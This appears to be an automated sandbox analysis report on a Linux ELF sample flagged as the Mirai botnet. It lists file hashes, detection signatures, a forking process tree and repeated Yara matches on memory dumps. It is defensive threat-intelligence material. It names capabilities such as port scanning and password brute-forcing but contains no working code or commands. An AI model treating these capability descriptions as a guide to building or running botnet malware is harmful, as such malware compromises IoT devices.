Edit tour

Linux Analysis Report
rsJtZBgpwG.elf

Overview

General Information

Sample name:	rsJtZBgpwG.elf renamed because original name is a hash value
Original sample name:	3d5157fd9d1cb3b536d4bb6ca83084e6239b58ec884cb5442e1773310fada471.elf
Analysis ID:	1518204
MD5:	469dd565fe60c14e676121d1740489e7
SHA1:	f5c5a980b1dae4d26eddf24e08b7366bd5eba344
SHA256:	3d5157fd9d1cb3b536d4bb6ca83084e6239b58ec884cb5442e1773310fada471
Tags:	89-221-225-163elfuser-JAMESWT_MHT
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518204
Start date and time:	2024-09-25 14:13:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	rsJtZBgpwG.elf renamed because original name is a hash value
Original Sample Name:	3d5157fd9d1cb3b536d4bb6ca83084e6239b58ec884cb5442e1773310fada471.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Reached maximum number of 1000 Suricata alerts, please consult the 'Suricata Logs'
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: rsJtZBgpwG.elf

Runtime Messages

Command:	/tmp/rsJtZBgpwG.elf
PID:	5478
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5468, Parent: 3633)

rm (PID: 5468, Parent: 3633, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.rshxAsAjaq /tmp/tmp.emOqkb3j1B /tmp/tmp.DwXHnS1qU9

dash New Fork (PID: 5469, Parent: 3633)

rm (PID: 5469, Parent: 3633, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.rshxAsAjaq /tmp/tmp.emOqkb3j1B /tmp/tmp.DwXHnS1qU9

rsJtZBgpwG.elf (PID: 5478, Parent: 5403, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/rsJtZBgpwG.elf

rsJtZBgpwG.elf New Fork (PID: 5480, Parent: 5478)

rsJtZBgpwG.elf New Fork (PID: 5482, Parent: 5480)

rsJtZBgpwG.elf New Fork (PID: 5489, Parent: 5480)

rsJtZBgpwG.elf New Fork (PID: 5491, Parent: 5480)

rsJtZBgpwG.elf New Fork (PID: 5493, Parent: 5480)

rsJtZBgpwG.elf New Fork (PID: 5508, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5514, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5516, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5518, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5545, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5547, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5552, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5554, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5556, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5558, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5560, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5562, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5564, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5566, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5568, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5570, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5572, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5574, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5576, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5580, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5582, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5584, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5586, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5588, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5590, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5595, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5597, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5602, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5604, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5606, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5608, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5610, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5612, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5614, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5616, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5618, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5620, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5622, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5624, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5626, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5628, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5630, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5634, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5636, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5638, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5640, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5642, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5644, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5646, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5648, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5650, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5652, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5703, Parent: 5493)

rsJtZBgpwG.elf New Fork (PID: 5713, Parent: 5493)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
rsJtZBgpwG.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
rsJtZBgpwG.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
rsJtZBgpwG.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5576.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5576.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5576.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5616.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5616.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5616.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5566.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5566.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5566.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5570.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5570.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5570.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5622.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5622.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5622.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5612.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5612.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5612.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5580.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5580.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5580.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5564.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5564.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5564.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5606.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5606.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5606.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5597.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5597.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5597.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5604.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5604.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5604.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5545.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5545.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5545.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5614.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5614.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5614.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5508.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5508.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5508.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5552.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5552.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5552.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5620.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5620.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5620.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5602.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5602.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5602.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5556.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5556.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5556.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5588.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5588.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5588.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5562.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5562.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5562.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5595.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5595.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5595.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5518.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5518.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5518.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5558.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5558.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5558.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5554.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5554.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5554.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5618.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5618.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5618.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5560.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5560.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5560.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5478.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5478.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5478.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5514.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5514.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5514.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5610.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5610.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5610.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5574.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5574.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5574.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5586.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5586.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5586.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5568.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5568.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5568.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5582.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5582.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5582.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5624.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5624.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5624.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5590.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5590.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5590.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5572.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5572.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5572.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5516.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5516.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5516.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5584.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5584.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5584.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5608.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5608.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5608.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5547.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5547.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5547.1.00007f3dd8017000.00007f3dd802f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5478	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5478	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5508	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5508	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5514	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5514	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5516	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5516	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5518	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5518	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5545	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5545	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5547	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5552	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5552	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5554	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5554	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5556	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5556	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5558	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5558	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5560	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5560	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5562	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5562	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5564	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5564	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5566	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5566	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5568	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5568	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5570	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5570	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5572	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5574	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5574	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5576	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5576	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5580	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5580	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5582	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5582	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5584	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5584	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5586	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5586	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5588	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5588	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5590	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: rsJtZBgpwG.elf PID: 5590	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
